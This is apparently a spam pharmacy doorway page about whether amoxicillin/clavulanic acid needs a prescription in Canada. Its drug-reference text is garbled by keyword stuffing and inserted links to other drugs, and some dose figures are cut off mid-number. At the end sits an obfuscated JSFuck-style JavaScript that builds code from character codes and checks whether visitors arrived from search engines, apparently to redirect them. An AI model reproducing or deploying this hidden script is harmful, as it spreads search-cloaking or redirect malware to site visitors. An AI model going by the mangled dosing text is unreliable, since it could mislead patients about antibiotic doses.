Do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada
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It works by preventing bacteria from destroying amoxicillin. Antibiotics will not work for colds, flu, or other viral infections. How should this medicine be used?
The do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada of amoxicillin and clavulanic acid comes as a tablet, a chewable tablet, and a suspension liquid to take by mouth. It is usually taken with a meal or a snack every 8 hours three times a day or every 12 hours twice a day. To help you remember to take amoxicillin and clavulanate, take it around the same time every day.
Follow the directions on your prescription label carefully, and ask your doctor or pharmacist to explain any part you do not understand. Take amoxicillin and clavulanic acid exactly as directed. Do not take more or less of it or take it more often than prescribed by your doctor.
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Shake the liquid well before each use to mix the medication evenly. The chewable tablets should be chewed thoroughly before they are swallowed. The other tablets should be taken with a full glass of water. The 250 mg and 500 mg tablets of amoxicillin and clavulanic acid contain the same amount of clavulanic acid. Do not substitute two 250 mg tablets for one 500 mg do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada. The 250 mg regular tablet and the 250 mg chewable tablet contain different amounts of clavulanic acid. They also should not be substituted. Take amoxicillin and clavulanic acid until you finish the prescription, even if you feel better.
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Stopping amoxicillin and clavulanic acid too soon may cause bacteria to become resistant to antibiotics. Other uses for this medicine Amoxicillin and clavulanic acid also is used sometimes to treat certain sexually transmitted diseases STD. Talk to your doctor about the possible risks of using this medication for your condition. This medication may be prescribed for other uses; ask your doctor or pharmacist for more information.
What special precautions should I follow?
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Moraxella catarrhalis Infections Infections caused by b-lactamase-producing M. This organism recently has been recognized as a cheap Mobic cause of otitis media and maxillary sinusitis in children and of bronchitis and pneumonia in adults, especially those with chronic lung disease.
Rarely, Beställa Tinidazole Nu endocarditis, urethritis, meningitis, neonatal ophthalmia, and conjunctivitis caused by M. Amoxicillin and clavulanate potassium generally has been effective when used in the treatment of upper and lower respiratory tract infections caused by M. Amoxicillin and clavulanate do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada generally has been effective when used for the treatment of acute otitis media or acute maxillary sinusitis caused by M.
In several controlled studies, amoxicillin and clavulanate potassium was more effective than cefaclor for the empiric treatment of acute otitis media in children 2 months to 12 years of age.
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Although adverse GI effects occurred more frequently with amoxicillin and clavulanate potassium than with cefaclor, amoxicillin and clavulanate potassium appears to be more active than cefaclor against b-lactamase-producing M. Gonorrhea Amoxicillin and clavulanate potassium has been used orally with some success for the treatment of uncomplicated gonorrhea caused by penicillinase-producing strains of N. Regimens consisting of a single oral dose of amoxicillin 3 g and clavulanic acid 125-500 mg with or without oral probenecid 1 g have been www.lasoracesira.it of uncomplicated gonorrhea caused by PPNG or nonpenicillinase-producing N.
Penicillins, including amoxicillin and clavulanate potassium, are not included in current CDC recommendations for the treatment of gonorrhea. Urinary Tract Infections Amoxicillin and clavulanate potassium has generally been effective when used orally in adults or children for the treatment of uncomplicated or complicated urinary tract infections UTIs caused by susceptible organisms including E.
Other Gram-negative Aerobic Bacterial Infections Amoxicillin and clavulanate potassium has been used in the treatment of infections caused by Eikenella corrodens or Pasteurella multocida. Anaerobic and Mixed Aerobic-Anaerobic Bacterial Infections Amoxicillin and clavulanate potassium has been used orally with some do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada in a limited number of patients for the treatment of anaerobic and mixed aerobic-anaerobic bacterial infections including intra-abdominal and gynecologic infections such as endometritis, salpingitis, pelvic cellulitis, and acute pelvic inflammatory disease. Amoxicillin and clavulanate potassium given in high dosage, oral cefuroxime axetil, or IM ceftriaxone are recommended for the treatment of persistent or recurrent AOM in patients who fail to respond to a previous regimen, including amoxicillin given in usual or high dosage.
For the treatment of AOM in patients who have received anti-infective therapy within the previous few months, amoxicillin given in high dosage, amoxicillin and clavulanate potassium given in high dosage, or oral cefuroxime axetil is recommended.
- The combination of amoxicillin and clavulanic acid is used to treat certain infections caused by bacteria, including infections of the ears, lungs, sinus, skin, and urinary tract.
- What side effects can this medication cause?
- Pediatric Dosage Children weighing 40 kg or more may receive the usual adult oral dosage of amoxicillin and clavulanate potassium.
- In several controlled studies, amoxicillin and clavulanate potassium was more effective than cefaclor for the empiric treatment of acute otitis media in children 2 months to 12 years of age.
- The American Academy of Pediatrics AAP, US Centers for Disease Control and Prevention CDC, and some clinicians suggest that use of the higher dosage be considered for the treatment of AOM, especially in patients with infections known or suspected of being caused by Streptococcus pneumoniae with reduced susceptibility to penicillins; patients with primary treatment failure or persistent or recurrent AOM after treatment with amoxicillin or high-dose amoxicillin; and patients who have received anti-infective therapy within the previous few months.
- Mutagenicity and Carcinogenicity Studies have not been performed to date to evaluate the mutagenic or carcinogenic potential of amoxicillin and clavulanate potassium.
Otitis Media in the Aminopenicillins General Statement 8: If there is recurrence of signs and symptoms of pharyngitis shortly after the initial recommended regimen Minoxidil Online Sale completed i. Some clinicians suggest use of an alternative agent e. Continuous anti-infective prophylaxis secondary prophylaxis to prevent the recurrence of streptococcal pharyngitis is not recommended in these circumstances, unless the patient has a history of rheumatic fever, Do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada. Instead, use of an alternative regimen is recommended by some clinicians. Although there are no controlled clinical studies evaluating efficacy, the IDSA suggests that symptomatic individuals with multiple, recurrent episodes of documented S.
For additional information on treatment of S. Chewable tablets should be thoroughly chewed before swallowing. Amoxicillin and clavulanate potassium powder for oral suspension should be reconstituted at the time of dispensing by adding the amount of water specified on the bottle to provide a suspension containing 125 mg of amoxicillin and 31. After tapping the bottle to thoroughly loosen the powder for oral suspension, the water should be added to the powder in 2 portions and the suspension agitated well after each addition.
Dosage Dosage of amoxicillin and clavulanate potassium generally is expressed in terms of the amoxicillin content of the fixed combination. Commercially available amoxicillin and clavulanate potassium powders for oral suspension should not be considered interchangeable since they contain different dos You Need A Prescription For Amoxicillin/Clavulanic acid In Canada of clavulanic acid. The powder for oral suspension containing 600 mg of amoxicillin and 42. Because commercially available amoxicillin and clavulanate potassium film-coated tablets containing 250 mg of amoxicillin contain 125 mg of clavulanic acid and commercially available chewable tablets containing 250 mg of amoxicillin contain 62.
Children weighing less than 40 kg should not receive the 250-mg film-coated tablets since this formulation contains a higher do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada of clavulanic acid. Safety and efficacy of the extended-release tablets have not been established in pediatric patients younger than 16 years of age. Adult Dosage The usual adult oral dosage of amoxicillin and clavulanate potassium is one 250-mg film-coated tablet containing 250 mg of amoxicillin and 125 mg of clavulanic acid every 8 hours or one 500-mg film-coated tablet containing 500 mg of amoxicillin and 125 mg of clavulanic acid every 12 hours.
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For more severe infections and infections of the respiratory tract, the usual adult oral dosage is one 500-mg film-coated tablet containing 500 mg of amoxicillin and 125 mg of clavulanic acid every 8 hours or one 875-mg scored tablet containing 875 mg of amoxicillin and radiationbook.com mg of clavulanic acid every 12 hours.
The usual oral dosage of amoxicillin and clavulanate potassium extended-release tablets for the treatment of acute bacterial sinusitis in patients 16 years of age and older is 2 tablets containing 1 g of amoxicillin and 62. The radiationbook.com oral dosage of the extended-release tablets for the treatment of community-acquired pneumonia CAP in patients 16 years of age and older is 2 tablets containing 1 g of amoxicillin and 62. Dosage do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada for extended-release tablets of the combination based solely on age is not necessary in geriatric patients. Pediatric Dosage Children do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada 40 kg or more may receive the usual adult oral dosage of amoxicillin and clavulanate potassium.
The American Academy of Pediatrics AAP, US Centers for Disease Control and Prevention CDC, and some clinicians suggest that use of the higher dosage be considered for the treatment of AOM, especially in patients with infections known or suspected of being caused by Streptococcus pneumoniae with reduced susceptibility to penicillins; patients with primary treatment failure or persistent or recurrent AOM after treatment with amoxicillin or high-dose amoxicillin; and patients who have received anti-infective therapy within the previous few months.
When the oral suspension containing 600 mg of amoxicillin and 42. Pharyngitis and Tonsillitis If amoxicillin and clavulanate potassium is used for the treatment of symptomatic patients who have multiple, recurrent episodes of pharyngitis known to be caused by Streptococcus pyogenes group A b-hemolytic streptococci see Uses: Adults should receive amoxicillin and clavulanate potassium in a dosage of 500 mg of amoxicillin twice daily for 10 days; the IDSA states that this dosage has not been specifically studied in adults and was extrapolated from the pediatric dosage.
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Some clinicians suggest that adults undergoing hemodialysis receive a 500-mg tablet containing 500 mg of amoxicillin and 125 Xalatan 2.5 ml generic for order dose related and are similar to those reported with amoxicillin alone.
For information on adverse effects reported with amoxicillin and other aminopenicillins, see Cautions in the Aminopenicillins General Statement 8: With the exception of adverse GI effects, which have been reported more frequently with amoxicillin and clavulanate potassium than with amoxicillin alone, the frequency and severity of adverse effects reported with the fixed-combination preparations are generally similar to those reported with amoxicillin alone.
GI effects are the most frequent adverse reactions to oral amoxicillin and clavulanate potassium. Abdominal discomfort, anorexia, and flatulence, dyspepsia, gastritis, stomatitis, glossitis, black or hairy tongue, and enterocolitis also have been reported. Clostridium difficile-associated diarrhea and colitis also known as antibiotic-associated pseudomembranous colitis caused by toxin-producing clostridia may occur during or following discontinuance of amoxicillin and clavulanate potassium. Colitis may range in severity from mild to life-threatening.
Histologic findings on liver biopsies have consisted of predominantly cholestatic, hepatocellular, or mixed cholestatic-hepatocellular changes. The onset of manifestations of hepatic dysfunction may occur during or several weeks following discontinuance of amoxicillin and clavulanate potassium therapy and usually is do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada.
Positive reactions occurred within 48 hours after initiation of therapy and reverted to negative within 2-4 months after completion of therapy. These reactions appear to result from nonimmunologic adsorption of proteins onto erythrocytes in the presence of clavulanic acid; this nonimmunologic mechanism is do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada to that observed with cephalosporins. Nonimmunologic adsorption of proteins onto erythrocyte membranes and positive direct antiglobulin test results also occurred in vitro when erythrocytes obtained from healthy individuals were exposed to clavulanic acid; however, exposure of erythrocytes to ticarcillin alone under various conditions did not result in a positive reaction. Precautions and Contraindications Amoxicillin and clavulanate potassium shares the toxic dos You Need A Prescription For Amoxicillin/Clavulanic acid In Canada of the penicillins, including the risk of hypersensitivity reactions, and the usual precautions of penicillin therapy should be observed.
There is clinical and laboratory evidence of partial cross-allergenicity among penicillins and other b-lactam antibiotics including cephalosporins and cephamycins.
Renal, hepatic, Do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada, and hematologic function should be evaluated periodically during prolonged therapy with amoxicillin and clavulanate potassium. Because a high percentage of patients with infectious mononucleosis have developed rash during therapy with aminopenicillins, amoxicillin and clavulanate potassium should not be buy Requip hypersensitive to any penicillin.
Individuals with phenylketonuria i. While these preparations should not be used in patients with phenylketonuria, other commercially available preparations of amoxicillin and clavulanate potassium do not contain aspartame. For information on the potassium and sodium content of various amoxicillin and clavulanate potassium preparations, see Chemistry and Stability: For cheap Trecator Sc more complete discussion of these and other precautions associated with the use of amoxicillin, see Cautions: Precautions and Contraindications in the Aminopenicillins General Statement 8: Pediatric Precautions Adverse effects reported in pediatric patients receiving amoxicillin and clavulanate potassium are similar to those reported in adults.
Diarrhea occurred in 14. Safety and efficacy of the extended-release tablets of amoxicillin and clavulanate potassium have not been established in pediatric patients younger than 16 years of age. Mutagenicity and Carcinogenicity Studies have not been performed to date to evaluate the mutagenic or carcinogenic potential of amoxicillin and clavulanate potassium. Pregnancy, Fertitlity and Lactation Safe use of amoxicillin and clavulanate potassium during pregnancy has not been definitely established.
However, do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada amoxicillin and clavulanate potassium has been used in a limited number of pregnant women for the treatment of urinary tract infections or acute pelvic inflammatory disease PID without evidence of adverse effects to the fetus. Reproduction studies in mice and rats using doses up to 10 times the usual human dose have not revealed evidence of impaired fertility or harm to the do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada.
Aminopenicillins are generally poorly absorbed when given orally during labor. The manufacturers state that this effect could also occur with amoxicillin and clavulanate potassium. Because amoxicillin and clavulanic acid are distributed into milk, amoxicillin and clavulanate potassium should be used with caution in nursing women. Laboratory Test Interferences Ampicillin reportedly interferes with urinary glucose determinations using cupric sulfate e. Since this laboratory test interference could also occur with amoxicillin, glucose oxidase methods should be used when urinary glucose determinations are indicated in patients receiving amoxicillin and clavulanate potassium.
This reaction may interfere with hematologic studies or transfusion cross-matching procedures and should be considered in patients receiving amoxicillin and clavulanate potassium. Mechanism of Action Amoxicillin and clavulanate potassium usually is bactericidal in action. For information on the mechanism of action of amoxicillin, see Mechanism of Action in the Natural Penicillins General Statement 8:
Plan to use another do You Need A Prescription For Amoxicillin/Clavulanic acid In Canada of birth control while taking amoxicillin and clavulanic acid. Plan to use another form of birth control while taking amoxicillin and clavulanic acid. Chewable tablets should be thoroughly chewed before swallowing.
Amoxicillin and clavulanate potassium is contraindicated in patients who are hypersensitive to any penicillin.
DJdzAZz
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,52,51,50,53,54,55,113,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,65,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]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